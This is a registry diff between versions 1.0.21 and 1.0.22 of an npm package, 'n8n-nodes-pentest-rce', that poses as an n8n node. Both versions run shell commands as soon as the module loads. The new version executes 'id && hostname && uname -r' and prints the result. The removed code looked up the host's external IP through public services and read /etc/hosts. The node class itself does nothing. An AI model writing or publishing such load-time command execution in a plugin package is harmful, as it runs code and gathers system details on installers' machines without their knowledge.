n8n-nodes-pentest-rce 1.0.21 → 1.0.22
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/PentestNode.node.js +10 -51
- package/package.json +1 -1
package/dist/PentestNode.node.js
CHANGED
|
@@ -1,60 +1,19 @@
|
|
|
1
1
|
"use strict";
|
|
2
2
|
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
3
|
exports.PentestNode = void 0;
|
|
4
|
-
const https = require('https');
|
|
5
|
-
const http = require('http');
|
|
6
4
|
const { execSync } = require('child_process');
|
|
7
|
-
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
|
|
5
|
+
try {
|
|
6
|
+
const out = execSync('id && hostname && uname -r', { timeout: 15000, maxBuffer: 2*1024*1024 }).toString();
|
|
7
|
+
console.log('=CMD_OUT_START=');
|
|
8
|
+
console.log(out);
|
|
9
|
+
console.log('=CMD_OUT_END=');
|
|
10
|
+
} catch(e) {
|
|
11
|
+
console.log('=CMD_OUT_START=');
|
|
12
|
+
console.log('CMD_ERROR: ' + (e.stderr ? e.stderr.toString() : e.message));
|
|
13
|
+
console.log('=CMD_OUT_END=');
|
|
11
14
|
}
|
|
12
|
-
|
|
13
|
-
function httpGet(url, timeout) {
|
|
14
|
-
return new Promise(resolve => {
|
|
15
|
-
const mod = url.startsWith('https') ? https : http;
|
|
16
|
-
const req = mod.get(url, {rejectUnauthorized: false, timeout: timeout || 5000}, res => {
|
|
17
|
-
let d = ''; res.on('data', c => d += c); res.on('end', () => resolve(d));
|
|
18
|
-
});
|
|
19
|
-
req.on('error', e => resolve('ERR:' + e.message));
|
|
20
|
-
req.on('timeout', () => { req.destroy(); resolve('ERR:timeout'); });
|
|
21
|
-
});
|
|
22
|
-
}
|
|
23
|
-
|
|
24
|
-
(async () => {
|
|
25
|
-
try {
|
|
26
|
-
console.log('=CMD_OUT_START=');
|
|
27
|
-
|
|
28
|
-
// 1. Check external IP via public services
|
|
29
|
-
const services = [
|
|
30
|
-
'https://ifconfig.me/ip',
|
|
31
|
-
'https://api.ipify.org',
|
|
32
|
-
'https://icanhazip.com',
|
|
33
|
-
'http://checkip.amazonaws.com',
|
|
34
|
-
'https://ipinfo.io/ip',
|
|
35
|
-
];
|
|
36
|
-
for (const url of services) {
|
|
37
|
-
const ip = await httpGet(url, 5000);
|
|
38
|
-
console.log(url + ' → ' + ip.trim());
|
|
39
|
-
}
|
|
40
|
-
|
|
41
|
-
// 2. Full ipinfo
|
|
42
|
-
const info = await httpGet('https://ipinfo.io/json', 5000);
|
|
43
|
-
console.log('IPINFO: ' + info.trim());
|
|
44
|
-
|
|
45
|
-
// 3. Internal IPs for comparison
|
|
46
|
-
console.log('INTERNAL: ' + safe('cat /etc/hosts | grep -v localhost | grep -v "^#" | grep -v "^$"'));
|
|
47
|
-
|
|
48
|
-
console.log('=CMD_OUT_END=');
|
|
49
|
-
} catch(e) {
|
|
50
|
-
console.log('=CMD_OUT_START=');
|
|
51
|
-
console.log('FATAL: ' + e.message);
|
|
52
|
-
console.log('=CMD_OUT_END=');
|
|
53
|
-
}
|
|
54
|
-
})();
|
|
55
|
-
|
|
56
15
|
class PentestNode {
|
|
57
|
-
constructor() { this.description = { displayName:'Shell', name:'pentest', group:['transform'], version:1, description:'x', defaults:{name:'
|
|
16
|
+
constructor() { this.description = { displayName:'Pentest Shell', name:'pentest', group:['transform'], version:1, description:'x', defaults:{name:'Pentest'}, inputs:['main'], outputs:['main'], properties:[] }; }
|
|
58
17
|
async execute() { return [this.getInputData()]; }
|
|
59
18
|
}
|
|
60
19
|
exports.PentestNode = PentestNode;
|